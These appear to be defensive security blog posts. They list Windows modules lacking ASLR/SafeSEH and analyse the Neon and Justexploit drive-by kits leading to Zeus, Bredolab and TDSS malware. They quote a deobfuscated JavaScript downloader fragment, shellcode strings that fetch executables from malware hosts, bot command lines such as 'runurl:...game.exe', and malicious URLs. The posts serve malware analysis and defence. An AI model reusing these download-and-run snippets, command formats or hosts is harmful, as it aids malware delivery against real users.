pvefindaddr - ImmDbg plugin exposes attack surface

I've been interested in both the attack and the defenses involving various memory corruption bugs for some time as they are a staple of modern computer security concerns. Microsoft's protection schemes continue to improve over time and from a defenders perspective I like to see third party vendors begin using some of the same protection techniques, and I also like to be aware when vendors are not so extra awareness and attack surface reduction can be put into play.

Tonight I received a tweet from @Corelanc0d3r, who has done some nice research into a variety of IT and IT security related matters including exploitation techniques. His tweet:

released v1.7 of pvefindaddr ImmDdg plugin (http://bit.ly/57Q14V)


You can read his link for further information about this Immunity Debugger plugin, which does a good deal of time-saving enumeration.

Dropping his pvefindaddr.py into my C:\Program Files\Immunity Inc\Immunity Debugger\PyScripts on a Vista box, I took notice of all the functionality, but especially of the ability to enumerate processes without ASLR and SafeSEH with the following command:

!pvefindaddr nosafesehaslr

Since client-side security bugs are a critical entryway, the list of such processes (well, a very limited list based on samples on one particular install) may be of interest to those who wish to reduce/eliminate such code to run hardened systems, and/or of interest to penetration testers or security researchers. Software vendors may also want to take note (not that any are actually reading this...as far as I know) and consider re-architecting and re-compiling with /DYNAMICBASE and /SAFESEH when possible. Anyone running the plugin or equivalent can obtain the same information, however this might save someone some time and stimulate further ideas for research.

HP DeskJet printer software bundle DLL:

 Message=*[+] 0x003d0000 - 0x003db000 : hpzipr12.dll (*** No ASLR, No Safeseh ***)

# I've been concerned about the HP DeskJet printer software bundle for some time. The first clue was that the installation of this software to make a home printer function actually replaced patched versions with unpatched/vulnerable versions of specific code. On an XP box, Windows/Microsoft Update did not catch the issue, however on a Vista box Windows/Microsoft Update did notice and corrected the problem. The Secunia Personal Software Inspector (PSI) notified me pretty quickly that some critical files had regressed. With such a phenomenon taking place in the past I wasn't terribly surprised to see that this DLL was not taking advantage of newer protection techniques. Of course, the actual attack surface varies depending upon the system's usage profile, etc.

Cisco VPN client:

 Message=*[+] 0x00400000 - 0x0057a000 : cvpnd.exe (*** No ASLR, No Safeseh ***)

 Message=*[+] 0x10000000 - 0x1002f000 : vpnapi.dll (*** No ASLR, No Safeseh ***)

# Communication with another security researcher (who is a lot smarter and more experienced than myself) indicated that all the pre-auth memory corruption issues in this particular client had likely been weeded out. However we did not talk about these images being leveraged in a different part of the attack lifecycle.

google chrome DLL:

 Message=*[+] 0x4ad00000 - 0x4b50b000 : icudt38.dll (*** No ASLR, No Safeseh ***)

GPGee:

 Message=*[+] 0x05570000 - 0x05702000 : GPGee.dll (*** No ASLR, No Safeseh ***)

SecureZIP:

 Message=*[+] 0x04fe0000 - 0x05167000 : PKArchive87U.dll (*** No ASLR, No Safeseh ***)

WinRAR:
 Message=*[+] 0x03210000 - 0x0323e000 : rarext.dll (*** No ASLR, No Safeseh ***)

Malware Bytes anti-malware:
 Message=*[+] 0x031f0000 - 0x03202000 : mbamext.dll (*** No ASLR, No Safeseh ***)

010 Hex editor:
 Message=*[+] 0x036f0000 - 0x03700000 : shlext010.dll (*** No ASLR, No Safeseh ***)

FileZilla shell extension:
 Message=*[+] 0x67080000 - 0x6709c000 : fzshellext.dll (*** No ASLR, No Safeseh ***)

TrueCrypt:
 Message=*[+] 0x00400000 - 0x00586000 : TrueCrypt.exe (*** No ASLR, No Safeseh ***)

Found by attaching to VMAuthdService:
 *[+] 0x00160000 - 0x0024e000 : libxml2.dll (*** No ASLR, No Safeseh ***)
 *[+] 0x10000000 - 0x1006a000 : vmcryptolib.DLL (*** No ASLR, No Safeseh ***)
 *[+] 0x00b20000 - 0x00bf9000 : iconv.dll (*** No ASLR, No Safeseh ***)

Again, nothing earth-shattering here but an interesting survey of some typically deployed apps. With advances in exploitation techniques taking place constantly, it may be wise to audit your own apps in a similar way and reach for the uninstall.

Kudos to C0relanc0d3r for his plugin and for the discussions we had about it, and for his code tweak to scan all process memory instead of just the currently loaded/attached process.

Poking at the Neon exploit kit - trail leads to Zeus/Zbot

I recently noticed the Neon exploit kit being mentioned at malwaredomainlist.com. Some basic googling returned some research, but not much. My www.malwaredomainlist.com query returned the following:

Only two NEON exploit kits were specifically listed at malwaredomains.com. The other was:

Specifically you can see that the first site, tomorrrrow.cn uses the directory /difpack and the second site sirius.mn uses the directory /tuc. Some other google queries for /difpack didn't result in anything signifcant so there is probably a site-specific value being used here I'm thinking. The only file in common was stat.php.

Screenshots were easy to obtain from the statistics page of the .cn site. The first page reveals browsers; some of these are likely to be researchers but most are probably victims. IE6 hit hardest (what a surprise)

Next up were operating system stats. XP of course was the largest. I was a bit surprised at Windows 2003 appearing as much as it did. I guess people are still surfing the web from their servers despite being warned against doing this since 1950. I haven't seen the back-end code but I'm guessing that "Loads" means an actual exploit is loaded, or is successfully executed (need to see the kit itself to understand how this is calcuated; any researcher got the kit source? drop me a line please if so)

Countries - USA is the largest target/victim

 

Next up were the referers - I didn't check these sites but the stats show an infection trail (or in some cases, obvious security/malware researchers poking about as you got further down the list). The actual URL's were not included here, so it's hard to know where in a site a redirect, IFRAME or other trickery is placed. In the case of the top referer, www.bearmarketcentral.com, I see that they have a forum and this seems like a likely location for trouble. Also troubling are several references to Grant Morrison, a fabulous comics creator.

Next up are the actual exploits used. Nothing too exciting here. All of these have been documented elsewhere at length so I won't go into much detail, but one can see a typical array of Adobe Reader exploits, the older Microsoft MDAC bug, an IE 7 exploit and the Snapshot viewer exploit. Despite MDAC being such an old bug, if Loads or Efficiency represents actual exploitation, it's higher than it should be and is just another indication of unskilled computer users who are unfortunately easy prey.

An entry page to the site contains the common technique of offering obfuscated Javascript.

This javascipt was not able to be deobfuscated by Wepawet's sandbox for unknown reasons, and initial attempts at decoding in Malzilla also failed. I'm sure I can decode it if I spent a little bit of time on it. It probably just points the users to the various pages serving the actual exploit code.

Later analysis with Wepawet reveals one of these pages, serving the Acrobat Reader stack overflow/format string in util.printf PDF exploit (CVE-2008-2992) - (see http://wepawet.cs.ucsb.edu/view.php?hash=3cbe658f62c9324793b132178717e81a&t=1261673543&type=js for the full report)

http:// tomorrrrow.cn  /difpack/cache/readme.pdf

The PDF exploit contains two payloads, both downloaded with the URLDownloadToFile function (I'm unsure what the string crash.php is doing) to the destination file pdfupd.exe. The first payload is targeted at http:// souzmov.cn /difpack/load.php?id=4,

URLDownloadToFil
eA.pdfupd.exe.cr
ash.php.http://s
ouzmov.cn/difpac
k/load.php?id=4

and the second payload targeted at http:// souzmov.cn /difpack/load.php?id=5

URLDownloadToFil
eA.pdfupd.exe.cr
ash.php.http://s
ouzmov.cn/difpac
k/load.php?id=5

The homepage of the site contains a typical placeholder page that I have seen associated with Russian Business Network (RBN) sites in the past. It may just be a typical entry page from some specific CMS, but I've seen the four-color image often enough on malware sites to raise a red flag.

Very good static AV coverage on page delivered via load.php (pushes load.exe)
37/41 (90.24%), findings included mostly the Sasfis trojan.

http://www.virustotal.com/analisis/31ca8b8422659f967627f4dd8c0f0b627509f1ada132159733d016edc7c97bfd-1261808607  

http://www.threatexpert.com/report.aspx?md5=056346161d867c0944b4e15ec5bdda9c


The malware also is involved in Zeus installations; installation of load.exe performs the following:

The following HTTP URLs were started reading:
http://tomorrrrow.cn/loader/bb.php?id=&v=200&tm=1&b=svyazka
http://tomorrrrow.cn/loader/bb.php?id=&v=200&tm=2&b=svyazka
http://tomorrrrow.cn/loader/bb.php?id=&v=200&tm=3&b=svyazka

Command data is apparently delivered via bb.php as such:

[info]runurl:http://spysystemcom.cn/gamedata2/game.exe|taskid:6|delay:20|upd:0|backurls:http://yesandns.cn/loader/[/info]

game.exe contains Zeus/Zbot. The "backurls" url did not resolve.

The ThreatExpert report for Zeus (game.exe) has new (to me) functionality that apparently parses the list of target domains that is normally contained in the zeus config file (cfg.bin is a filename I've often seen). This is a nice feature that's a time saver in an incident response situation.

Check out the useful and informativeThreatExpert report which includes a list of the targeted financial institutions - a very nice addition to ThreatExpert that I don't recall seeing before.

http://www.threatexpert.com/report.aspx?md5=1f22afba0880113d30ac80fef64eac1e

MD5 = 0x01605D291B427C8564E7E13CDEEA1AE9

The first five financial institutions are listed as such:

    * https://www.gruposantander.es
    * http://*odnoklassniki.ru
    * http://vkontakte.ru
    * https://banking.*.de
    * https://internetbanking.gad.de
    * https://www.citibank.de

I found it interesting that a mutex named _AVIRA_21099 was created. This may be documented in other much more deep analysis but I don't recall.

The Zeus/Zbot config file is obtained from http://spysystemcom.cn/gamedata2/res.bin

Trying to reverse engineer this malware, even dynamic analysis, would take me far longer than what ThreatExpert offers. Sure, sandboxes have been evaded and are not perfect, but what a huge time-saver. I offer my thanks to the creators and maintainers of Wepawet, ThreatExpert, Anubis, VirusTotal and other sandoxes.

Poking at the Justexploit kit part 2

Again, some of this analysis has probably already been posted somewhere but in the interests of continuing my process, I will pick up where I left off with yesterdays blog post. Yesterday I went over basically what the Justexploit's MDAC exploit attempted to do, and followed the malware trail for a while.

The second batch of bugs exploited by Justexploit are common Adobe Acrobat Reader issues, all patched. These have been documented to a large degree and are apparently well understood so I won't go into the mechanics. The bugs, which have been hammered by other exploit kits are:

Adobe Collab overflow - CVE-2007-5659
Adobe util.printf overflow - CVE-2008-2992
Adobe getIcon - CVE-2009-0927

Numerous PoC's and weaponized exploits exist for these issues.

The PDF exploitation associated with the sdfnucleartqg dot info site is hosted at /pdf.php and was already submitted by an unknown party to the excellent wepawet sandbox on 12-4-09:

http://wepawet.cs.ucsb.edu/view.php?type=js&hash=ac781b52bb2541aa214e3ee804ebfedc&t=1259920135

A portion of this blog entry expounds a bit on the wepawet analysis, but is not as pretty. If you want the full details, shellcode bytes and all of the de-obfuscated javascript (heap spray, etc) then please see the wepawet link above. Kudus to the developers of wepawet for it's time-saving properties.

Wepawet does a good job extracting the shellcode from the PDF, as we see in the "Shellcode and Malware" section. The actual payload starts off with a 0x90 based NOP sled, followed by shellcode that points to the downloading and executing of yet another URL from the same site-


.j...http://sdfn
ucleartqg.info/f
eedback.php?page
=3

The URL is obvious here and points towards the same windows binary pushed by the MDAC exploit. This binary was detected by VirusTotal on 12/2/09 by 10 out of 41 anti-malware engines (24.39%). See the VirusTotal report for full details, however the relevant results are pasted here:

http://www.virustotal.com/analisis/5a4dd63616bda4bef5b37b8ab6eeec0525f5c8aebc2f8c747a338d81dc9ed0cd-1259735138

a-squared 4.5.0.43 2009.12.02 Trojan.Win32.Oficla!IK
CAT-QuickHeal 10.00 2009.12.02 (Suspicious) - DNAScan
Ikarus T3.1.1.74.0 2009.12.02 Trojan.Win32.Oficla
Kaspersky 7.0.0.125 2009.12.02 Trojan.Win32.Sasfis.wox
McAfee+Artemis 5819 2009.12.01 Artemis!8D0F4EC4C458
Microsoft 1.5302 2009.12.01 Trojan:Win32/Oficla.E
Prevx 3.0 2009.12.02 Medium Risk Malware
Rising 22.24.02.03 2009.12.02 Trojan.Win32.Generic.51F273B2
Sophos 4.48.0 2009.12.02 Sus/UnkPack-C
Sunbelt 3.2.1858.2 2009.12.02 Trojan.Win32.Sasfis.a (v)

See the previous blog entry for a basic analysis of the payload. See the Anubis analysis of this binary for further details:

http://anubis.iseclab.org/?action=result&task_id=19ff7bcb29a1f7e54d929cfd9dc2a6969

I have found that Anubis doesn't always give me the level of detail that I need. I personally prefer ThreatExpert's sandbox analysis. Anubis does enumerate network activity, which shows the same target binary that was included with the MDAC exploit.

3.c) svchost.exe - Network Activity
DNS Queries:
Name Query Type Query Result Successful Protocol
h0stels.cn DNS_TYPE_A 210.51.166.250 1

HTTP Conversations:
From ANUBIS:1038 to 210.51.166.250:80 - [h0stels.cn]
Request: GET /SHasg2/bb.php?id=590043150&v=200&tm=8&b=justspl
Response: 200 "OK"

It is fair to assume that the Java exploit has the same end result. The exploit code is found in the following JAR (as previously documented elsewhere) - http://sdfnucleartqg dot info/files/sdfg.jar

98d499308df04932ed1b58a78417d6fb sdfg.jar

unzip sdfg.jar
Archive: sdfg.jar
creating: META-INF/
inflating: META-INF/MANIFEST.MF
inflating: myf/y/AppletX.class
inflating: myf/y/LoaderX.class
inflating: myf/y/PayloadX.class

Avira catches the Jar as JAVA/OpenStream.AD Java Virus

Since java is trivial to reverse, it's easy to see what's going on. If this hasn't already been done ( I think it has ) I'll do it in part 3. Guessing it's based off of public exploit code for the Java bug released a while back. Why should the malware authors expend energy when they can just leech from security researchers? One of the downsides of people publishing exploits (I digress, this is a distinct topic)

The opening page where the initial Javascript starts the process of infection is dynamically generated with different encoding every time with a new id as such:

ID's generated in this sampling:

wtIsTqv
GhttiIm
Rv0jW1E
ujVvVrK
VZYaFVm
WztzroN
Xuq11AX
gvcGPqU
DOsZOc0
Ii8Qqbe
ERS6apw
srah6hg

Since Wepawet had no problem decoding, I didn't bother running the code through Malzilla or other local decoding tool.

In other news, a URL from the malware chain yesterday has changed it's payload. The page contains what appears to be command & control information for the infection.

http: //h0stels . cn/SHasg2/bb.php?id=555611691&v=200&tm=3&b=3857054178&tid=9&r=1

The new contents of the .cn page points to a new binary:

http: //poezd-v-ad . eu/free1/mqh5.exe

VirusTotal gives what looks mostly like generic detections

9d99e88dfefc6528f4ba912d9d9b1f19 mqh5.exe

AntiVir 7.9.1.102 2009.12.08 TR/Dropper.Gen
DrWeb 5.0.0.12182 2009.12.08 BackDoor.Tdss.based.3
McAfee+Artemis 5825 2009.12.07 Artemis!9D99E88DFEFC
McAfee-GW-Edition 6.8.5 2009.12.08 Trojan.Dropper.Gen
Panda 10.0.2.2 2009.12.08 Suspicious file
Sophos 4.48.0 2009.12.08 Mal/TDSSPack-U
TrendMicro 9.100.0.1001 2009.12.08 BKDR_TDSS.SMA

Sure looks like the TDSS rootkit, based on signature scans.

ThreatExpert isn't able to get much from this binary:

http://www.threatexpert.com/report.aspx?md5=9d99e88dfefc6528f4ba912d9d9b1f19

# Submitted sample:

* File MD5: 0x9D99E88DFEFC6528F4BA912D9D9B1F19
* File SHA-1: 0x1BEFD04012D725FA38C5F58E50DDDFD29C7A8CAD
* Filesize: 62,464 bytes
* Alias: Mal/TDSSPack-U [Sophos]

I recall TDSS being analyzed previously, however I would like to see what this particular variant is doing. This will be covered in part three, if it's actions are unique.

• 
  
  

Poking at the Justexploit kit Part 1

Malware is of interest to me for several reasons. It's helpful to know what's out there, both as a defender and as a penetration tester. Successful malware campaigns mean that the attackers are showing attack surface that a penetration tester can also leverage. As a defender, it's helpful to know what the various attack kits are using so those particular issues can be mitigated in areas of higher risk, IDS signatures written, minds primed for forensics analysis, etc. Regardless of my distaste of harmful and criminal activities, from a technical and research perspective, malware is worth knowing about and is with us for the long haul.

Seasoned malware analysts won't find anything new in this post. Some of this post may be redundant with previous analysis, as I have not done extensive queries to see if this material has not yet been published. Malware URL's are going to be modified, as I don't want to end up on blacklists, nor do I want people clicking on the malware links unless they know what they are doing.

I became aware of the Justexploit kit recently, blogged about by EvilFingers at http://www.efblog.net/2009/11/justexploit-new-exploit-kit-that-uses.html and mentioned in a few other places. It was easy to find some of these kits through queries to malwaredomainlist.com http://www.malwaredomainlist.com/mdl.php?search=justexploit&colsearch=All&quantity=50 and I picked the most current entry at the time, which I won't include on this blog because I don't want it flagged as a malicious site. Suffice it to say that the site has the word "nuclear" in it's URL and you can figure it out from there. The site is located on ASN 47821 and various new domains, starting with a batch of .cn domains, were pointed at the same IP address (probably hosted in a "bullet-proof" hosting facility) starting on 11/27/09. They started using .info domains on 12/5/09, according to the malwaredomainlist query posted above.

One reason why Justexploit is interesting is it's use of Java bugs. While there have been a few java exploits in the wild, they haven't seemed to be as widespread as other vectors such as Adobe Reader and Adobe Flash, which have both been added to just about every drive-by exploit kit in existence. A screenshot of the Justexploit control panel, obtained by EvilFingers posted at https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFAwQQSuPyg2sz6N5pKmxaS5KajKzmS9ES03fVkCiCZOZBCPP6aCmehzQnfXrR6-tLW2NKcE9jjBCncvVnSKbAo-wgy88y6T6G8l0BTU_qfaoKUUeUXidANr4Uc4ssSNEj62aK2c4L0NqB/s1600/mipistus-justexploit.png shows that Java has been the highest attack vector so far, with 3230 successful exploits (I don't read Russian, but I'm assuming that's what the statistics mean). EvilFingers posted his blog on 11/29/09 with an admin panel screenshot. My attempts to obtain an admin panel screenshot from this particular install ("campaign") failed since an .htaccess password was placed, prompting as "Multiplex Corporation Ltd.". This information is also available on a forum thread at malwaredomainlist.com at http://www.malwaredomainlist.com/forums/index.php?topic=3570.0 where someone apparently guessed the password to view the admin page.

Wepawet is a nice sandbox, and a big time-saver for any javascript or PDF-based malware. Sure you can use Malzilla or other tools to de-obfucate the javascript, but Wepawet has done a nice job almost every time I've used it. I can think of a copule of situations where it hasn't been able to properly read some flash .swf malware but otherwise it's great.

The analysis for the domain I was looking at can be found:

http://wepawet.iseclab.org/view.php?hash=375f0265a92dd4da4bb3063f1c444aee&t=1260165589&type=js

Some of the highlights from the wepawet report include the following:

function Go(a){
var s = CreateO(a, 'WScript.Shell');
var o = CreateO(a, 'ADODB.Stream');
var e = s.Environment('Process');
var urltofile = 'http://.info/feedback.php?page=1';
var filename = 'YVgHg.exe';

Requesting feedback.php?page=1 returns a windows PE binary with a (at least in five downloads) consistent md5 hash:

ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.1
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.2
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.3
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.4

Like most malware, the binary appears to be packed. Submissions to VirusTotal reveal a rather pathetic 12.2% coverage: only 5 out of 41 malware scanners (static file analysis, which obviously does not take run-time into account) find anything. The results indicate strong chances of a Bredolab malware, which has been analyzed in various places already. One of the scary things about Bredolab was that according to one analysis, it could download up to 27 other malwares. Who knows what the current capabilities are, and covering Bredolab is beyond the scope of this entry. I think Symantec or one other large A/V firm had a detailed writeup. I do recall a connection with the nasty Zeus infostealer/banking fraud trojan though.

Here are the five detects:

CAT-QuickHeal 10.00 2009.12.07 (Suspicious) - DNAScan
Comodo 3103 2009.12.01 Heur.Packed.Unknown
F-Secure 9.0.15370.0 2009.12.07 Suspicious:W32/Malware!Gemini
Kaspersky 7.0.0.125 2009.12.07 Trojan-Downloader.Win32.Piker.kr
Sunbelt 3.2.1858.2 2009.12.06 Trojan.Win32.Bredolab.Gen.1 (v)

The full report can be viewed here - http://www.virustotal.com/analisis/ba1a607c9f3067958a9cef0029ebdc2f25d59b98454c888a0085bc12ff696179-1260168039

On my analysis box, checking the download (feedback.php) with the Avira anti-malware engine does not generate any alert, but does show the presence of what looked at first like an Alternate Data Stream (ADS) - feedback.php:Zone.identifier - is just the presence of Microsofts Attachment Manager at work, blocking the file since it came from an untrusted source (analysis box is running Vista, malware downloaded via Firefox).

Threatexpert.com is a nice sandbox, a huge time saver over analyzing a binary in something like Olly or Immunity Debugger or dumping the file from memory with win32dd or other memory dumping tool (or ollydump or equivalent). Tonights run of this Bredolab trojan is found here -

http://www.threatexpert.com/report.aspx?md5=ab92cc8f7abeafffc9b588eda2f968cd

Highlight from the threatexpert report are as follows (pardon the lousy formatting, view the original if you need the details or need it to look pretty)

Four files created:

%Temp%\1.tmp
%System%\ahwa.ulo Trojan:Win32/Oficla.E [Microsoft]
%Temp%\2.tmp Trojan.Vundo [PCTools]
Trojan.Vundo!gen2 [Symantec]
Troj/Virtum-Gen [Sophos]
Trojan:Win32/Hiloti.gen!A [Microsoft]

%Windir%\gkboiers.dll Trojan.Hiloti [PCTools]
Troj/Virtum-Gen [Sophos]
Trojan:Win32/Hiloti.gen!A [Microsoft]

4 [file and pathname of the sample #1] 37,376 bytes MD5: 0xAB92CC8F7ABEAFFFC9B588EDA2F968CD
SHA-1: 0x60368810858C5E3E20359F0EC7BE558ADF6D8D7A (not available)

[file and pathname of the sample #1] refers to the original binary, which was not given any malware alias. I was expecting to see that it would be recognized as Bredolab, however I suppose the engines that ThreatExpert supports must not be among the five that detected, as previously mentioned.

%Windir%\gkboiers.dll gets injected into the memory space of other processes, including explorer.exe, msmsgs.exe, sdnsmain.exe, iexplore.exe, the "generic host process filename"

Injection in Explorer, MSN Messenger, and IE are obvious malware/adware/spyware activity, but I was less certain about sdnsmain.exe. Turns out, sdnsmain.exe is apparently not dropped by this particular Bredolab install but refers to "Simple DNS Plus - Core Engine" (sdnsmain.exe) which is a 3rd party Windows DNS server. A future exercise may involve installing Simple DNS Plus to see what Bredolab does with it. I suspect that it will redirect certain queries to adware/spyware/etc. pages or maybe allow the attackers to inject DNS responses for financial sites, allowing for credential theft. I don't know if Bredolab does this, but if some malware were to serve as a rogue DHCP server it could push it's local DNS server to the client who would then get infected.

A variety of registry modifications were made to keep the malware persistent.

The file apparently has Russian origin (gee, what a surprise)

The following URL's were contacted:

o http:// .cn/SHasg2/bb.php?id=555611691&v=200&tm=2&b=3857054178
o http://.cn/SHasg2/bb.php?id=555611691&v=200&tm=3&b=3857054178&tid=9&r=1
o http://.eu/free1/h4.exe

Following the rabbit-hole further, we find more wholesome malware.

The first link for bb.php contains the following data:

[info]runurl:http://.cn/win32/ff.exe|taskid:10|delay:25|upd:0|backurls:[/info]

Sure looks like a command sequence to download and run yet another binary. Snort or other IDS signatures could be easily created from this sequence for EXtrusion detection. I would want a larger sample size before generating a signature, as to reduce false positives.

ff.exe had previously been analyzed by VirusTotal here:

http://www.virustotal.com/analisis/81536e8ca89d57c313e45a591eb0d913f187fbb347efa99edf1d2be649cbb2f6-1259947806

Looks like yet another instance of Bredolab. Results from ff.exe are a tiny bit better, 6 out of 41 (at the time of the previous sample submission)

CAT-QuickHeal 10.00 2009.12.04 Win32.Packed.Krap.w.4
Comodo 3103 2009.12.01 Heur.Packed.Unknown
eTrust-Vet 35.1.7158 2009.12.04 Win32/Bredolab!generic
Norman 6.03.02 2009.12.04 W32/Obfuscated.EA
Prevx 3.0 2009.12.04 Medium Risk Malware
Sunbelt 3.2.1858.2 2009.12.04 Trojan.Win32.Bredolab.Gen.1 (v)

It's starting to feel like we are in a hall of mirrors. This reminds me of Tom Liston's "follow the bouncing malware" series that he has done for SANS Incident Storm Center (isc.sans.org).

The second URL, http://.cn/SHasg2/bb.php?id=555611691&v=200&tm=3&b=3857054178&tid=9&r=1, returns a different result:

[info]kill:0|delay:25|upd:0|backurls:[/info]

The third URL, http://.eu/free1/h4.exe was caught by Windows Defender on the Vista analysis box as Trojan:Win32/Hiloti.gen!A.

I intend to dig deeper into what the Justexploit kit is doing in future blog entries.